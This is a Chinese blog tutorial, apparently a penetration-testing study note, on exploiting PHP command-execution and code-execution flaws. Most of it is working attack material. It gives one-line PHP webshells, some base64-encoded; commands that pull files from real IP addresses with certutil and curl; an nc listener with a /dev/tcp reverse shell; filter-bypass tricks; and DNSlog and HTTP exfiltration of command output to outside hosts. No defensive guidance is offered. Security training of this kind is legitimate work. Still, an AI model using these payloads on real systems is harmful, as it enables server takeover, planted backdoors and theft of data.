命令执行与代码执行

命令执行与代码执行

当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

命令执行漏洞
漏洞介绍

PHP应用在调用命令执行函数执行系统命令的时候,如果将前端用户的输入数据作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。

由于PHP程序未对前端用户提交的数据进行严格过滤或限制,从而导致传入的字段被带入到命令执行函数中作为参数执行,造成GetShell或接管服务器权限等高危害的Web漏洞!

漏洞危害
  • 继承Web服务器程序权限,执行系统命令(反弹Shell)

  • 继承Web服务器程序,读取文件(敏感文件)

  • GetShell控制网站,创建系统后门控制服务器

危险函数

PHP 中可以调用外部程序执行系统命令的常见函数:

  • system() <?php system($_POST["cmd"]);?>

  • passthru() <?php passthru($_POST["cmd"]);?>

  • exec() <?php echo exec($_POST["cmd"]);?>

  • shell_exec() <?php echo shell_exec($_POST["cmd"]); ?>

  • pcntl_exec()

  • popen()

  • 反引号 <?php echo shell_exec($_POST["cmd"]); ?>

命令连接符

|(管道符号)

表示A命令语句的输出,作为B命令语句的输入执行。 当A为false的时候将不会执行

ping 127.0.0.1|whoami

&(后台任务符)

命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符号使 shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。(命令全部都会执行)

ping 127.0.0.1&whoami&

&&(逻辑与)

前面的命令执行成功后,它后面的命令才被执行。

ping 127.0.0.1 &&whoami

||(逻辑或)

前面的命令执行失败后,它后面的命令才被执行。

ping -c || whoami

;分号

命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。 (linux主机)

ping 127.0.0.1;whoami

`(反引号)

当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo ls -a 将会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果打印在屏幕上,这被称为命令替换。 (linux主机)

echo whoami

$(command) 命令执行

这是命令替换的不同符号,当反引号被过滤或编码时,可能会更有效。(linux主机)

ping 127.0.0.1 $(whoami)

漏洞类型
  • 有回显:利用:Getshell(写入Webshell、反弹Shell、远程下载木马)、读取文件(敏感信息)。

  • 无回显:利用:通过DNS解析记录将执行的命令结果带到解析记录中、将执行结果写入到web文件中。

GetShell方式

方式一:写入Webshell

假设现在存在漏洞的页面有权限写入、利用shell命令写入webshell后门到网站目录,获取操作系统权限。

Win: echo "<?php @eval($_POST['cmd']); ?>" > shell.php
​
Linux: echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4="|base64 -d
>shell1.php

方式二:远程下载

Windows: certutil.exe -urlcache -split -f http://43.143.175.225:8000/1.php 000.php
curl URL -o 1.php
Linux:
curl http://www.baidu.com/robots.txt -o robots.txt
wget http://www.baidu.com/robots.txt -O robots.txt

方式三:反弹shell

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请

求到攻击机监听的端口,并将其命令行(shell)转到攻击机。

攻击者监听 nc -lvvp 4444
受害者执行反弹shell命令 sh -i /dev/tcp/192.168.1.174/4444 1&<0
反弹shell语句进行搜索

NC(netcat)

nc是netcat的简写也称瑞士军刀。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具。

NC的作用

  • 实现任意TCP/UDP端口的监听,nc可以作为Server以TCP或UDP形式监听指定端口 nc -lvvp 4444

  • 端口扫描,NC可以作为client发起TCP或UDP连接

  • 远程控制等操作

NC常用参数
-l 监听模式,用于入站连接
-p 指定监听本地的端口
-n 后面跟上IP地址,直接解析IP不解析域名,速度更快
-v 输出连接的详细信息,输入vv可以看到更详细的信息
-z 端口扫描,默认为tcp模式
-u 端口扫描,udp方式
-c shell命令,通常为-c bash返回一个bash shell
​
常用操作
nc -lvvp 4444
nc -lvnp 4444 监听本机4444端口(作为服务端) ,等待客户段发送数据到服务端4444端口
nc -nv 192.168.8.110 8888 主动连接对方8888端口获得shell
nc -nvz 192.168.174.1 1-1000 端口扫描
​
下载nc
debain: apt-get install netcat || nc
centos: yum install nc || netcat
绕过方式

常见可代替命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录

空格绕过:

​
%20(space)
%09(tab)
$IFS$9
${IFS}
$IFS
{cat,flag.txt} 在大括号中逗号可起分隔作用
不回显不出网利用
问题简述

命令执行的结果不会回显

目标防火墙策略限制了不能访问外网

解决办法
写入webshell

第一种方法,我们可以使用echo命令写入WebShell。由于木马文件存在特殊字符转义的问题,需要配合base64命令对代码编码。

echo PD9waHAgZXZhbCgkX1BPU1RbJ2FudCddKTsgPz4=|base64 -d > ant.php
写入命令执行的结果

第二种方法:我们可以在目标主机上执行命令,并将命令执行的结果写入到网站目录中

1.直接写入到当前文件夹下

echo `ls` > 1.txt
DNSlog/HTTP外带注入

Linux DNSLOG外带

利用DNSLog.cn网站

利用命令:curl `命令`.域名
curl `id`.v7nwfo.dnslog.cn

Windows DNSLOG外带

powershell
$x=whoami;$x=$x.Replace('\','xxx');$y='.v7nwfo.dnslog.cn';$z=$x+$y;ping $z

Widnows HTTP日志外带

  1. 如果想把命令执行结果通过httplog外带出来,我们在服务器上可以直接执行以下Python命令开启临时Web服务。

python3 -m http.server
  1. 在受害者站点执行如下命令将whoami命令结果通过 Base64编码写入文件中

whoami > temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2
temp = whoami明文结果
temp1 = 结果base编码后的值 cm9nXHRydTENCg==
  1. HTTP外带执行结果

for /F %i in ('type temp2') do certutil -urlcache -split -f http://3.144.171.225:8000/?p=%i
总结方法
# 出网-有回显
    方法一:然后写入Webshell
    方法二:反弹shell
    方法三:远程下载木马文件    
# 出网-无回显
    方法一:反弹shell
    方法二:远程下载木马文件
    方法三:将执行结果写入web文件中,通过访问网站文件获得结果
    方法四:DNSlog外带与HTTP日志外带
# 不出网-有回显
    思路一:因为不通外网,所以主思路还是想办法写入webshell
    执行一些系统命令
# 不出网-无回显
    思路一:寻找Web路径写入Webshell
    思路二:将执行结果写入web网站目录中查看
# 主要利用思路有
    反弹Shell
    写入Webshell
    远程下载木马文件
    将执行结果写入Web文件中,通过访问网站文件获得结果
    DNSLOG外带
    HTTP日志外带
代码执行漏洞

当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。

漏洞介绍

由于PHP程序未对前端用户提交的数据进行严格过滤或限制,从而导致传入的字段被带入到代码执行函数中作为参数执行,造成GetShell或接管服务器权限等高危害的Web漏洞!

1.命令执行漏洞是执行的系统命令;即system()函数等调用命令解释器执行输入的命令;

2.代码执行漏洞是执行语言代码;即eval()函等将输入进的字符串交给PHP解释器当作PHP代码执行;

高危函数

eval()

assert()

preg_replace()

create_function()

array_map()

call_user_func()

array_filter()

usort()

GetShell方式

方式一:写入webshell

file_put_contents()函数写入一句话木马:(需知道绝对路径)
?cmd=file_put_contents('shell.php','<?php eval($_POST[x]);?>');
fputs()函数写入一句话木马:
?cmd=fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>");
?txt=@eval($_POST['cmd']); 一句话木马

方式二:调用执行系统命令函数

1. system:执行一个外部的应用程序并显示输出的结果
2. exec:执行一个外部的应用程序
3. shell_exec:执行shell命令并返回输出的结果的字符串
4. passthru:执行一个UNIX系统命令并显示原始的输出
5. popen()
6. proc_popen()
  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值